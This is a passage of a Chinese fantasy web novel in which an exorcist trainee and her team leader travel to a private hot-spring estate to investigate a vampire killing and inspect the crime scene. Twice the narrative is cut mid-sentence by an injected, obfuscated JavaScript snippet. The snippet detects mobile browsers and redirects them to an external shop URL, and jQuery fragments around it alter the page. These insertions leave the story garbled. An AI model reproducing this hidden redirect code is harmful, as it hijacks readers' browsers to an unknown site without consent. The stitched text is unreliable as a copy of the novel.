第四贵宾候车室不大，里面有十几人，衣着都齐整体面。他们或站或坐，不怎么说话，即便说话也是压低声音，因而比外面安静许多。 “您吃午饭了吗？”米切尔招呼她坐下，指向身后的桌子，“如果没有的话，那里有点心。” “啊，谢谢。”诺瓦早上只随便吃了点干面包，但偶尔饿一顿也没什么大不了的，“我们待会是要去哪里？” “去我们的温泉庄园，温特先生没和你说吗？”米切尔讶异道。 诺瓦摇头：“没有……” 米切尔犹豫了一会，道：“抱歉，我现在有很多事要忙。等温特先生到了，让他向您解释吧。” 说罢，她抱歉地笑笑，欠身离开了。只见她四处与人说话，有时出去，不久后又回来，看样子是有很多事情要安排。 诺瓦不知道该做些什么，在这样的氛围下只能正襟危坐，偶尔百无聊赖地嚼一口饼干，时不时地看一眼一旁的座钟。 她是十一点半到的。随着钟摆的摇晃，指针一直转到十二点四十，她早就已经填饱肚子，原本笔挺的背也不自觉地靠在了沙发靠背上，而她的队友们却一个也没来。她怀疑有什么搞错了，不禁内心忐忑。 “维里安小姐，”米切尔又出现了，她喊道，“温特先生还没到吗？火车快要开了，该上车了。” 不用诺瓦回答，米切尔环视整个候车室没发现有人来，已经皱起了眉。 就在这时，急促的脚步声响起，有人闯入了候车室。 众人齐齐望去，一名青年风尘仆仆地出现。他似乎一眼就认出米切尔是这里的话事人，向她展示先灵会的证件：“我是艾德里安·温特。我来晚了吗？” “没有。”米切尔面色冷冷的，“但现在也到上车的时间了。”她不等艾德里安回话，转身便走了。 留在候车室里的人也三三两两地跟了上去。诺瓦看看离去的米切尔又看看艾德里安，只见艾德里安的表情并无变化。 艾德里安注意到了她：“你是诺瓦·维里安？” “是。”诺瓦应道。 “先上车吧，车上再说。” 诺瓦点点头，跟了上去。 ———— 一列火车趴在铁轨上，一眼望过去，也就三四节车厢而已。站台上的人零零散散的，并不似平常那样拥挤。那似乎是专属于他们的列车，月台上只有刚刚在候车室的人。 艾德里安身形偏高，但并没有到鹤立鸡群的地步。他的长相不算特别出挑，有一头深棕色的头发与蓝色的眼睛，给人异常端正的印象。 诺瓦亦步亦趋地跟在艾德里安身后上了车。艾德里安在前面，边前进边观察着车厢。人们都在挑自己喜欢的位置，大多在近门处便坐下了，而更靠里面的座位仍有许多空余。 艾德里安微微回头，对诺瓦说：“去里面。” 在一个四周无人的位置，两人双双入座。艾德里安又拿出了证件，在桌面摊开推上来：“我是艾德里安·温特，是艾恩代尔分会第十四执行队的执行长。你通过了先灵会的转正评议，接下来的一年考核期由我来负责。正常情况下，一年后就可以正式转正。这些事有问题吗？” “没有。”面对这样连珠炮弹般的话，诺瓦只能摇头，“需要我自我介绍一下吗？” “不用，我已经看过你的档案。” 诺瓦不禁噎了一下。 艾德里安说：“我还是要先表示一下歉意——我很晚才通知你，刚刚到得也晚。这是因为上一周我还在养伤，这一切都是一周内临时定下来的。已经是尽快处理的结果了，还请谅解。” 悬了两个月的心被一段话轻轻搁置，诺瓦感到一丝微妙的不忿。但她也不好抱怨些什么，只能说：“没关系，您辛苦了。” 她迟疑了一会，问：“为什么只有您一个人？我听说，一般执行队的规模是五个人左右……” “因为我是在建立一支新的队伍，而不是为过去的队伍补充人员。所以，我们现在的人员没有那么完整。”艾德里安说，“除了我们两个，还有一位同伴，现在已经在目的地等我们了。此外，我还向一位女士写信，邀请她加入我们，但她还没有回信。” 这让诺瓦感到些许意外。眼前的人看上去不会超过三十岁，一般不会让这么年轻的人负责组建一支新队伍。但细问下去或许有些冒昧，于是她转而问了另一个问题：“我们那位在目的地的同伴，是已经提前去了吗？” “不，那个人是卡斯特尔家的亲戚。不太严谨地说，我们的目的地是他家。”艾德里安说。 “家？” “这要从我们的委托说起。我们的目的地是一座私人温泉庄园，卡斯特尔侯爵夫人目前正在那里疗养。我们现在坐的列车，就是去这座温泉庄园的私人线路。” 私人线路？真有钱啊。诺瓦心中感慨。 “刚刚米切尔有和你介绍过庄园吗？” 诺瓦说：“没有，她很忙。” 艾德里安徐徐道来：“这里本来有一座矿山，但后来矿源枯竭，已经废弃。这条铁路最早就是开往那座矿山的。不过，后来在这条铁路沿线发现了温泉，于是卡斯特尔家在十七年前买下了这片土地，在温泉附近建立了一座私人庄园。 “附近的土地，包括更深处的废弃矿山、周围的林地，都是他们的地产。因此，那座庄园几乎只有卡斯特尔相关的人。庄园靠着这条铁路与外界联系，平日里没有人来。” 诺瓦怔怔地听着，在艾恩代尔待了这么多年，她还从来没有听过这么个地方。 艾德里安说：“就在前几天，庄园发生了一起杀人事件，疑似是吸血种肇事。所以庄园委托先灵会，想让我们负责调查，再顺便看守一段时间，直至夏季到来，侯爵夫人的疗养结束。” “吸血种杀人……这应该算是比较严重的事件吧？让我们来没有问题吗……”诺瓦察觉到这话带有质疑艾德里安能力的意味，声音低了下去。 艾德里安并未感受到其中隐刺，他平静地解释：“高等吸血种的智能较为完善，他们要发动袭击，往往目标明确，计划周全。像这样随便抓一个人杀死的情况，极大概率只是一个低等吸血种所为，是长期未曾进食导致的冲动行为。 “这样的低等吸血种，我还能够应付。更何况，不管那个吸血种有没有找到，我们只要看护侯爵夫人，直至夏季到来就好了。不一定要解决凶手。”艾德里安说。 诺瓦说：“也就是说，我们是来当保镖的？” “算是吧。”艾德里安说。 看着诺瓦若有所思的表情，艾德里安低声道：“你可能认为，先灵会的人力不应用于看护贵族们的私人享受，但卡斯特尔家是先灵会的重要赞助人，他们的委托一贯都是优先处理的。这些必要的利益交换，有利于先灵会的长期运转。” 诺瓦微微点头，表示理解。 这时，火车开始移动，二人下意识地望向车窗外。伴随着机车的轰鸣，站台向后远去，滚滚烟尘次第跌落。有人为乘客上了热茶，氤氲的气雾蒸腾，人们也开始懒散地靠在座椅靠背上聊天，车厢里慢慢涌出些许温情的氛围。 艾德里安还是冷淡而平静的。他目送前来上茶的侍从离去，对诺瓦说：“车程大约是一小时四十分钟，下午应该就能到。” 诺瓦继续先前的话题：“那我们的另一个同伴呢？” “他叫拉尔夫·塞勒斯，是卡斯特尔侯爵夫人的侄子。怎么说呢……你知道的，有些贵族出身的年轻人，热血澎湃，会想要成为英雄……”艾德里安挠了挠眉心，似乎在斟酌合适的措辞，“他一直都想当一个驱魔人。 “命案发生的时候，他正好在庄园。于是他向先灵会发了电报——这个委托就是他提出的，他还提出要自己参与解决这一事件。”艾德里安说。 “他提出委托……是想自己参与委托？”诺瓦惊讶道，“还能这样？” “是这样。他唯一的要求是，让他加入承接这一委托的执行队。”艾德里安说，“而我正好需要人手，就接下来了。” “他不用在先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614436|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵会训练吗？”诺瓦问道。 “不用。”艾德里安说，“这点不必担心，卡斯特尔家族大力赞助先灵会，他们想培养驱魔人，先灵会就会直接派人去指导，这点特权还是有的。不用像我们一样，留在艾恩代尔分会训练。” “这种情况常见吗？” “常见，先灵会有不少驱魔人来自专门的驱魔人家族，尤其是在总会。”艾德里安说，“总之，拉尔夫·塞勒斯接受过一定的训练，先灵会也允许他们跳过一些环节，直接进入一年的考核期，所以不用担心他的能力。” 诺瓦哑然，心说有钱可真好啊。她问道：“您也属于这种情况吗？” 对答如流的艾德里安短暂地停滞了一下。他说：“不，我小时候，亲人都被侵蚀生命杀死。于是我被先灵会收养，作为驱魔人培养——是最常见的那种情况。” “抱歉。”诺瓦瑟缩一瞬，她还是说错话了。 “没关系，很多人都是这样。”艾德里安说，“说起这个，你的父母也是驱魔人吧？你不加入他们的驱魔队吗？” “我已经很久没有见过他们了……”诺瓦尴尬地笑笑，“我不清楚他们现在是什么情况。” “……是么，我只是在你的档案里看到了，你父母的名字标注了驱魔人。”艾德里安不再对此多说些什么，“如果你想进一步了解，以后有机会，可以去总会问一问。总会保有所有驱魔人的档案，或许你可以申请查看。” 诺瓦沉默片刻，轻声说：“谢谢，我还不知道这个。” 她已经习惯于没有父母的生活，也已经很久不再思考如何寻找他们。这个愿望像一个小小的气泡一般，倏忽从水下浮了起来。 “还有其他要问吗？”艾德里安问。 诺瓦想了想：“我们以后的驻扎地在哪里？” “洛塞尼亚市。”艾德里安说。 诺瓦有所耳闻，那是一个繁华的海港城市。她心中总算有点小小的雀跃，倒不是这个城市有多好，而是等到委托结束，她可以写信告诉艾达自己的地址了。 “我没有别的问题了。”诺瓦微笑。 “好。”艾德里安就此不再说话。接下来的大部分时间里，他都望着车窗外出神。火车已经渐渐驶入山林，早春的枝叶尚未繁茂，而阴云已经渐渐地散去，破碎的阳光在他们的身上铺陈而过。 诺瓦已经意识到此人并不擅长聊闲话，他的沉默是预料之中的事。 她的行李箱里其实有一本用来解闷的小说，但现在似乎仍然是一种严肃的氛围，让她觉得很不适合把书掏出来。 诺瓦如坐针毡的时候，米切尔从前面走过来了：“温特先生，维里安小姐。还有好一会的车程呢，过来一起玩牌么？” “玩什么？”艾德里安问。 “21点，想玩别的也行。”米切尔说，“维里安小姐也来吗？” “嗯。”诺瓦如蒙解救，视线撇过去看艾德里安的反应。 艾德里安站起来：“好。但我玩得不怎么好。” “不要紧，我们随便玩玩，只赌一点零钱。”米切尔说。 两个人跟着米切尔，一起挪到了前面的座位上。和他们一起打牌的还有一位约莫五六十岁的胖老头。 这位老人很自来熟，一边打牌，一边说话，从庄园里快要生产的母牛，说到厨房里的厨娘靠差价贪了几个子，再说到某位侍女的女儿婚姻不幸，也不管其他人听不听得懂。 米切尔能说会道，诺瓦也偶尔提几个问题，让老人能顺着问题继续口若悬河地说下去。艾德里安则安静得很，他总是盯着那叠扑克思索，除了偶尔说一句“还要”继续摸牌以外，不作其他声响。 几轮下来，老人翻着钱包想再掏几个硬币出来，却讶异地说：“啊，我没有零钱了。” 牌桌上安静了一瞬。正盯着牌的艾德里安抬起头来，发现其他三人正看着堆在他前面的一堆硬币——大家的零钱都被他赢走了。 “温特先生，您可真厉害。等等我，我去把行李里的钱拿出来……”老人说着起身，坐在他座位外侧的米切尔却没有动。她揶揄道：“算了吧，我们不赌了。别太认真了，不然您太太又要责备您了。” 艾德里安露出了些许尴尬的神色。诺瓦却觉得有些好笑，她早注意到了，刚才艾德里安面色如临大敌，一直不说话大概是在背牌。 诺瓦接话说：“是啊，我们还是不赌了吧。我没几个钱，再输要输光了。” 四个人收了零钱，继续玩牌。艾德里安面色还是绷得紧紧的，但他努力的方向变成了恰到好处地输一输。 时间消磨得很快，阴云已经完全散去，火车驶出山林，进入一处稍为开阔的原野。又是一轮牌摸完，艾德里安的努力不是很奏效，赢得最多的还是他。 那座庄园已经很近很近了，米切尔起身去确认下车的事宜。 5. 2.田园诗序 2.田园诗序/PastoralPrelude 列车已经停靠，搬运工们将货物卸下，堆在原本就不甚宽敞的月台上。 米切尔来回穿梭，指挥人清点货物。她见缝插针地对艾德里安和诺瓦说：“请你们先去前面的休息室稍等片刻，等这些货物装好了马车，我们再一起去庄园。” 说完，她将诺瓦向休息室的方向轻轻推了推。 那是一间外观朴素的房子，大概是用来给庄园与艾恩代尔市之间来回往返的人暂时歇脚的。 艾德里安走在前面，推开了虚掩着的门。屋子里的窗户小，且已经有人站在了窗边，因此有些许昏暗，但煤气灯的暖黄色灯光打在半新半旧的桌椅上，反而让房间有了些温馨的色彩。 窗边的人转过了身来，露出喜悦的表情：“是温特先生吗？还有维里安小姐？我是拉尔夫·塞勒斯，在这里等你们好久了！” 诺瓦反应过来，是那个要在庄园与他们会合的同伴。 “是我们，很高兴与您见面。”艾德里安礼貌地上前去握手。 诺瓦刚进门，从艾德里安身后探出半个身子。名为拉尔夫·塞勒斯的年轻人看上去不过二十岁，有一头浅棕色的头发，满面笑容，看上去比寻常贵族随性不少。 拉尔夫也与诺瓦握手：“您好，一路辛苦了。 “这里不是住人的，实在有些寒酸，还请见谅。”拉尔夫说，“不介意的话，要不要先去庄园？也方便你们尽早了解情况。” “刚刚米切尔夫人让我们等马车备好再一起去。”艾德里安说，“我们先走没关系吗？” “这有什么，她只是图方便而已。”拉尔夫笑道，“后面的马厩有马，你们都会骑马吧？” “会。”艾德里安说，诺瓦也跟在后面点头。 “好。那我们现在就走？” 事已至此，艾德里安也只能点头同意。拉尔夫熄了灯，刚进屋的人又很快出来。 经过月台的时候，拉尔夫挥手冲着站在车厢门口的米切尔喊道：“米切尔——米切尔——” 米切尔听见声音回过头来，拉尔夫便大声说：“我们先去庄园了——行李还在里面，麻烦你们稍后送一下。”不等米切尔答话，他对身后的二人低声道：“跟我来吧。” 他们一起绕到了候车室另一边的木棚处。为了搬运货物，马匹一早就被带到了这里，在荫处歇息着。 拉尔夫径直走向一匹健壮的白马，轻轻拍了拍它：“这是我的马，叫柏尔，是个威风凛凛的姑娘。”说着，他倚在柏尔身上，柏尔不理会他，低下头啃了一嘴食槽里的燕麦。 “你们可以挑一匹看起来顺眼的。我对这些马都挺熟悉的，要我推荐吗？”没等回答，拉尔夫已经开始喋喋不休，“温特，要不要试试那匹黑色的？很威武哦。那匹小一点的、浅黄色的，脾气很好，跑起来很稳，也不错……维里安小姐，离你右边那个混蛋远一点，它最爱吃人的头发！” 诺瓦一惊，凝视着那马退了两步，而它忿忿地呼出一口热气，吹得她头发抖动。拉尔夫见状笑了起来。 “那我就挑这个了。”艾德里安没什么想法，便听了拉尔夫的建议。诺瓦虽会骑马，但也只是骑术平平，于是选了那匹温顺的浅黄色的马。拉尔夫见状频频点头，很高兴他们采纳了他的建议。 他们将马牵出来，先后上马，马匹似是在适应不熟悉的人，来回踱步。诺瓦将背绷直，发现这马确实平和乖顺，放下心来。 拉尔夫指向前去：“前面这条路是给马车走的，我们骑马的话，还有一条近一点的小路可以抄过去。” 话音刚落，他纵马前行，艾德里安与诺瓦赶紧跟上去。这一瞬，世界跃动起来，碧草林荫间，凉爽的风在淌流。 “这里就是近路了！”拉尔夫说着，切入一条小路。 诺瓦紧张地转向跟上去，这里不再是那样平坦的土路，两侧灌木密集了起来，日光也变成了落叶上破碎的光点，快速地向后退去。 最前面的拉尔夫的声音被风携来，拍在后面的艾德里安和诺瓦的脸上：“我有时候会在这里打猎，可惜这里只有山鹑之类的小玩意，没什么好东西。” 穿过最狭窄的一段路，前面一阵空旷，视野又亮了起来。地上的泥土变成了细碎的石子，刚刚没过马蹄的水流浅浅淌过，溅起片片碎银。拉尔夫又说：“现在还没到雨季，夏天这水有时能到马肚子。柏尔特别爱玩水，每次下去了都扑腾半天不肯上来。” 拉尔夫一直在说，也不管自己的声音早已在气流里支离破碎，后面的人又能听到多少。不久，他抬高了声音：“好啦，我们要回到正路上了。庄园就在前面了！” 柏尔再度切入先前的土路。回到正路上没多久，道路愈发宽广，不远处群山围绕之下，一片平野铺陈开来，三五座白色的大房子落在满眼绿色中，恰如坠落的星星。 拉尔夫加快速度，率先闯入那片绿野，柏尔也成为一颗白色的星星。 艾德里安与诺瓦被甩下一段路，好在视野开阔，大可以放手追赶。直到自己也跌入绿野，那片遥远的绿色便活了过来，农夫从葡萄架里钻出来，奶牛甩着尾巴慢悠悠地走动，金色毛发的大狗突然从草堆里蹦出来，湿润的鼻尖撞上一只白粉蝶。 比想象中的要热闹不少。诺瓦想着，已经很靠近中间最大的那间庄园别墅。拉尔夫已经在前面下了马，向他们招手。 诺瓦减了速，在别墅面前稳稳地停下，她从来没有骑得这么快过，但却并不惶恐紧张，脸上微微的汗只是因为有点热而已。 她下了马，艾德里安也从一边的马上一跃而下。 “怎么样，这两个小家伙不错吧？”拉尔夫说着，转身吩咐一边站在门口的孩子叫人将马牵走。 “嗯。”诺瓦对他点点头，将缰绳递给前来的孩子。 “跟我来吧，先去找侯爵夫人谈谈。”拉尔夫直接进了门。 诺瓦前探一步，在门口环视大厅。一楼大厅做了挑高，浅色的墙面搭上胡桃木的护墙板，装饰有几幅油画；沿墙摆放的展示台上，陶瓷花瓶里立着几株细瘦伶仃的植物；宽大的旋梯沿着墙面蜿蜒而上。 视野内没有什么人，若是贸然闯入，就像是打碎了一个空阔而寂寥的世界。艾德里安和诺瓦只是在门口驻足，而拉尔夫却大步走上了旋梯。 此时，一个头发花白、身姿挺拔的女人从二楼的走廊款款经过。拉尔夫见了她，说道：“博蒙特！姑姑她在么？” 被称为博蒙特的女人停住了，望向拉尔夫，皱了皱眉。她说：“噢，您回来了。请小声一点，她正在睡午觉呢。” “睡午觉？”拉尔夫压低了声音，“要睡到什么时候？” “她说，到了四点钟再叫醒她。” “好，那我们晚点再过来。”拉尔夫从旋梯上小跑着下来，回到还在门口等待的艾德里安与诺瓦身边。他似乎有点不好意思：“她还在睡觉，要不我带你们先在这里走一走？” 诺瓦瞥向艾德里安，艾德里安却说：“比起这个，我想先去案发现场看看。” 拉尔夫反应过来：“也是。不过那里已经被清理掉了，毕竟命案是四天前的事了，一直不处理会臭的。” “我理解，但还是有必要去看看，说不定能发现什么残余的线索。”艾德里安说。 拉尔夫想起了什么，眼神一亮：“我听说先灵会有些驱魔人擅长通灵，能够从残余的迹象里发现线索，甚至能和死物共感。难道您擅长这个？” 艾德里安说：“不，在这方面我是很普通的水平，只能看出一些力量的流动。” “噢……没事。”拉尔夫眼中闪过一瞬的失望，他转身看了看座钟，“现在是三点钟，我们现在就去，回来正好可以和侯爵夫人谈谈这次委托。” 三人一同出了门，行走在乡间小路上。拉尔夫开始介绍这座庄园：“刚刚我们去的那栋别墅，是我姑姑卡斯特尔侯爵夫人住的地方。姑姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614437|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一来到这里，就会从家里带很多仆从过来，别墅边上几座房子，就给她的仆从们住的。庄园里的人，把那一片都称为‘内院’。” 拉尔夫指着远处的一座房子说：“而我们要去的地方，就是那里。”他停顿了一下，“路上你们也看到了，这里雇佣了一些人劳作。虽然火车会定期送来物资，但一些果蔬、牛奶之类的，还是庄园自产更新鲜。有的一家子都在这里干活，那栋房子就是安排给那些人的宿舍，有好几个家庭住在那里。” 诺瓦一边听着，一边四处张望。这样与世隔绝的地方，居然住着这么多人。 “那宿舍是事发地点？”艾德里安问道。 拉尔夫点头：“四天前的早上，那座房子里的人过来报告，说有一户人家的女儿死在了走廊的尽头。我们查看了她的尸体，发现她的脖颈上有明显的吸血痕迹，认为她是被吸血种杀死的。”拉尔夫的视线转向艾德里安，“于是我向先灵会发了电报，请求来查清这件事，并帮忙保护在这里疗养的侯爵夫人。” “这里出现过其他侵蚀生命的迹象么？”艾德里安问。 “除了这桩命案以外，一直都没有。”拉尔夫说。 艾德里安沉默了。过了一会，一边的诺瓦问道：“委托里有说到，要看护侯爵夫人直到夏季到来。也就是说，她只是季节性地来到这里吗？” “是，她只有冬天才来。一般是十一月份过来，四月份走。具体是哪一天，还要看情况。”拉尔夫说。 “那她不在的时候，庄园里会怎么样？” “照常运转。”拉尔夫说，“内院在夏季会封闭，里面服侍她的人大都也会跟着她离开。但其他人都会留来下，维持这个庄园不至于荒芜，等到她明年再来。” “也就是说，这里一直都有人了。” 拉尔夫认真地说：“是，这也是我们不能一走了之的原因。侯爵夫人可以提前结束疗养，搬离庄园，但长期居住在这里的农夫不能，他们对那个吸血种很惶恐。所以，最好的办法就是将那个吸血种处理掉，消除所有隐患。” 三人说着话，那栋房子也越来越近了。 雇农宿舍是二层的楼房，比刚刚侯爵夫人的别墅小很多。看得出来，房屋在建的时候，并没有因为是给农夫住的就吝啬，但后续却并没有那么精于打理，因此墙壁上有不少霉点，一些墙皮也已经脱落。 一只浅棕色的长毛大狗趴在门廊下，歪过头来，盯着三人望了一会，身后尾巴越摇越快，忽然站起身冲了过来。 “哎哟，别来撞我。我今天可没带吃的！”拉尔夫笑着抱怨，上前两步张开双臂抱住冲过来的大狗，而大狗在他的怀里扭来扭去。拉尔夫捧住它的肩膀似在角力，一边问着“家里有人吗？”，一边被狗拧到了路旁。 大狗跑着冲向了那间房子，拉尔夫看着远去的狗，拍了拍身上的狗毛，回身说：“应该是有人在的。” “那狗和你还挺熟悉的。”诺瓦说。 “那当然了。”拉尔夫说，“我经常住在这个庄园，当然也和他们的狗熟。” 艾德里安突然出声了：“这只狗也住在那座房子里吗？一般来说，猫狗对吸血种的感知比常人更敏锐，发现尸体的那天，这只狗有什么异样吗？” 拉尔夫眯着眼回想了片刻，摇了摇头：“好像是这只狗叫了，才有人发现死了人。异常嘛……我印象里，好像没人提起。” 艾德里安没有再问了。他们走到屋子前面的时候，刚刚的大狗正咬着一位矮胖妇人的裙子，将她拉扯出来。 那胖妇人原本还在抱怨大狗，看见拉尔夫为首的三人到来，即刻收了声。而长毛狗立即松了嘴，跳过来围着拉尔夫转了两圈。 “别和它过不去了。是我来了，它才把您叫出来的。”拉尔夫笑着对那位胖妇人说，“我们来调查那桩命案，先去上面看看。” “噢，你们终于来了。这几天我们可是提心吊胆的。”妇人面露喜色，“快跟我来。” 6. 3.简易调查 3.简易调查/PreliminaryInvestigation 妇人引着他们进了门，随后进入一条走廊，走上楼梯间。 她一边上楼一边说：“第一个发现尸体的就是我。那天早上我刚起床，就听见这狗在叫——它很听话的，一般不会大清早闹人。 “出了门，我就闻见一股血腥味。跟着那股味道，我一直走到走廊的最东边——莱利家的姑娘躺在那里，满地都是血！” 妇人喘着气上楼，语调听起来有些心有余悸。 那只狗踏着细碎的步伐挤过他们，闻了闻艾德里安，又闻了闻诺瓦，似乎是在熟悉他们的气味。最后它率先到了楼梯最上面，对他们吐舌头。诺瓦看着它，倒也不觉得紧张了。 “您发现尸体的时间具体是几点钟？”艾德里安问。 “我记不太清了，起床的时候没看钟。”妇人说，“我把大家都喊起来，莱利夫妇见了女儿的尸体，趴在地上大哭。 “有人说要赶紧清理掉尸体，又有人说什么都不许动，先告诉米切尔……还有的小孩心眼坏，故意尖叫吓人，把其他小孩都弄哭了，到处都是闹哄哄的。等到米切尔过来处理这件事，已经六点半了。不会比那更晚了。”妇人说。 他们上了二楼的走廊，妇人领着他们一直往东走。到了走廊的尽头，妇人停下来：“就是这了。” 走廊的尽头已经什么都没有了——木质地板看上去很整洁，只是有些陈旧，墙纸上用相近的颜色简单地粉刷了一遍。 “墙纸上新刷了漆，是为了掩盖血迹么？”艾德里安问。 “是的，血渍干在墙上太吓人了，我们就让人遮掩了一下。”妇人答道。 艾德里安走到走廊尽头，推开虚掩的窗户，有凉爽的风流进来，外面可以看到一小片葡萄架。 “你们晚上会关窗户吗？” “每晚都关。”妇人说。 艾德里安眺望了一会，回过身来问：“现场是什么时候清理掉的？” “当天下午就清理掉了。”妇人说，“地是我擦的。满地都是血，都渗到楼下去了。” “这么快就清理掉了？有留下什么记录吗？”艾德里安皱了皱眉。 “这里住着人呢，一直留着尸体在这里也不像话。”妇人解释说，“不过，的确有人记录，清理之前，医生过来检查了尸体，还有个画家来画了一下现场。” “哦？可以帮忙把医生请过来吗？”拉尔夫问，“画家……是指特纳先生吗？” “不是特纳，没想到特纳先生胆子那么小！”妇人笑了，“一看到那场面，转过身就吐了！是跟在他身后的那个学徒画的，叫什么来着……他和莱利小姐走得近呢，莱利小姐死了，他应该很难过吧。” “受害人的家人也在这里吗？”艾德里安问。 “在，现在在田地里干活呢。我去把家属和医生一起叫过来？”妇人说。 艾德里安点点头，那妇人便快步离去了。长毛狗还在原地踌躇，凑近艾德里安，艾德里安伸出手推拒它，它反而温顺地舔了舔他的手腕。 拉尔夫抱臂靠在墙上，解释说：“这个庄园比较封闭，有时候怕急病，便雇了一个医生长居于此。这医生既给人看病，也给牲畜看病，住在庄园东边的木房子里。发现尸体的时候，我们让他检查了一下。” “那个画家呢？”艾德里安问。 “我姑姑喜欢艺术，雇了一些艺术家。其中有一位画家，我们都叫他特纳先生，有一个年轻的学徒跟着他学画。”拉尔夫说，“特纳前几年都跟着侯爵夫人过来了，但学徒是这次才来的，我和他不是很熟悉。” “好。之后去拜访他们。”艾德里安话锋一转，“你们身上有指南针么？” “呃……”诺瓦愣了一下，“在行李箱里……还在车站的休息室。” 艾德里安又望向拉尔夫，拉尔夫摇摇头。 所谓“指南针”，并不是指示方向的那种指南针，而是一种检测侵蚀生命的简易仪器。 像吸血种这样的存在，或是他们使用力量后的魔力残留，指南针都可以检测到，并指示一个大致的方向。这种仪器的外观与指南针相似，因此也被驱魔人们叫做指南针。 “你们应该学过怎么用，但没有在实际的任务中用过，我本想让你们试一次。”艾德里安无可奈何，“算了……以后要随时带着。” 诺瓦与拉尔夫连连点头。艾德里安从口袋里掏出指南针，递给诺瓦：“先用我的吧。” 诺瓦接过指南针，按照曾经学过的方式，注魔驱动。拉尔夫凑过来，只见原本静止的指针开始缓慢腾挪，他一会盯着指针，一会抬眼看指针指示的方向。 然而指针一直没有停下，这让诺瓦有些紧张。指针转动的速度忽然变快，而后如同弹簧一般来回反复。 怎么会这样？诺瓦有些没底气，局促地捏了捏手中的指南针。 “哈哈，”拉尔夫笑了两声，一把从她手里拿过指南针，“我来试试。” 他用同样的方式操作，指针转得更快。可过了许久，指针依旧不会在任何方向停留，倒是拉尔夫自己变得面红耳赤的。 诺瓦倒是没笑他，抬眼去看艾德里安。艾德里安看上去很平静：“很正常。已经过去好几天了，残留的气息大多都已经消失。何况指南针本来也只是简易仪器，太过微弱的气息侦测不到，强大的个体也有能力隐藏气息。” 说着，他从拉尔夫手中拿过指南针，片刻后向二人展示——指针还是那样左转右转，没有定论。 “你们没有做错什么，不必紧张。”艾德里安说，“我们之中没有擅长通灵的，看来没有办法追踪魔力残留了，找找有没有其他痕迹吧。” 两个人讪讪地应了声，各自心里也没有什么想法，只是沿着走廊四处走动。 艾德里安蹲下去，观察着墙上粉刷过的痕迹，那是溅过血的地方。他想从血迹的形状推测出那个女孩被杀时，那个吸血种是怎样的身位。 拉尔夫去敲门，想看看还有没有人留在房子里。这个时候，屋子里的农夫大都在外劳作。一排四个套房，只有最远处的那家开了门。门一打开，一个说着胡话的醉汉就差点摔到拉尔夫身上，看来是问不出什么东西了。 诺瓦走到了窗户边。这是一扇还算宽大的玻璃窗，可以从里面用窗闩卡住。她拨弄了一下窗闩，可以正常使用。 窗户是木框架，色彩已经斑驳，玻璃上也有一些摩擦痕迹，这恰恰说明窗户正常使用了很长时间，没有被暴力破坏过，近期也没有更换。也就是说，那个吸血种并不是暴力破窗而入的。 除了走廊两边的窗户，剩下的只有各个套房里的窗户了。但这些套房里的人在夜间都没有发现异常，那么吸血种也不太可能从这些套房进来。 如果不是从窗户进来的，那就只能是从正门进来的了。 诺瓦正想着，艾德里安站了起来：“血迹是从走廊深处向窗户的方向溅出去的。受害人站在窗户边上，而吸血种从另一边过来，将她击杀。” “窗户没有被破坏，吸血种应该是从正门进来的。”诺瓦说，“但还是有些奇怪……吸血种杀人，一般是因为吸食了太多血液，使被害人失血过多而死。但是，有那么多血溅出去，说明吸血种用其他方式攻击了受害人。也就是说，受害人可能反抗过，于是吸血种攻击了她，但竟然没有人听到声响。” “这么说的话，受害人也很古怪，”拉尔夫已经从走廊另一边回来，“她大半夜出来干什么？” 脚步声从楼梯间处传来，胖妇人已经回来了：“我把人带过来了！你们叫她莱利就好，是那姑娘的母亲。” 她身后跟着的女人姿态略显佝偻，面色憔悴，挪着缓慢的步子走来。 “您好，我们是负责这次案件的驱魔人，想问您一些问题。现在方便么？”艾德里安的声音变得温和许多。 “当然，我已经等你们很久了。”莱利声音有些虚弱，“请到我家谈吧。” 她打开了最靠近走廊窗户的那间套房的门，让大家进去。原来，那天她的女儿就死在他们的门外。 屋内就更加破旧凌乱一些。莱利在堆积的杂物中拉开几张椅子，示意他们坐下。拉尔夫本不愿意坐，但见到艾德里安与诺瓦坐下，也跟着坐下了。 艾德里安向胖妇人使了个眼色。胖妇人笑道：“我去叫医生。”随后退出去，将门关上。 “我们已经听说了您的遭遇，接下来要问您一些问题，如果您觉得冒犯，或者不愿意回答，就直接告诉我们。”艾德里安微微前倾，轻声说。 “没关系，你们问吧……”莱利这么说着，却偏过脸去，并不直视艾德里安的眼睛，“我只想知道，是谁害死了她……” “您的丈夫不在么？有更多人的话，我们或许可以得到更全面的线索。”艾德里安说。 “他去艾恩代尔处理安妮的葬礼了。”莱利太太说，“现在只有我在这里。” “好。”艾德里安又确认了基本的事实，“您的女儿，叫做安妮·莱利。在四天前——也就是3月18日的凌晨，刚刚的那位太太发现她死在了走廊的尽头，身上有吸血种的吸血痕迹。是么？” 莱利咬着嘴唇，点点头。 “您最晚看见女儿是什么时候？” “我们前一天晚上入睡的时候，大概晚上十点钟，她到我的房间说晚安……”莱利的声音有些颤抖。 “她的样子和以往相比，有什么异常吗？” 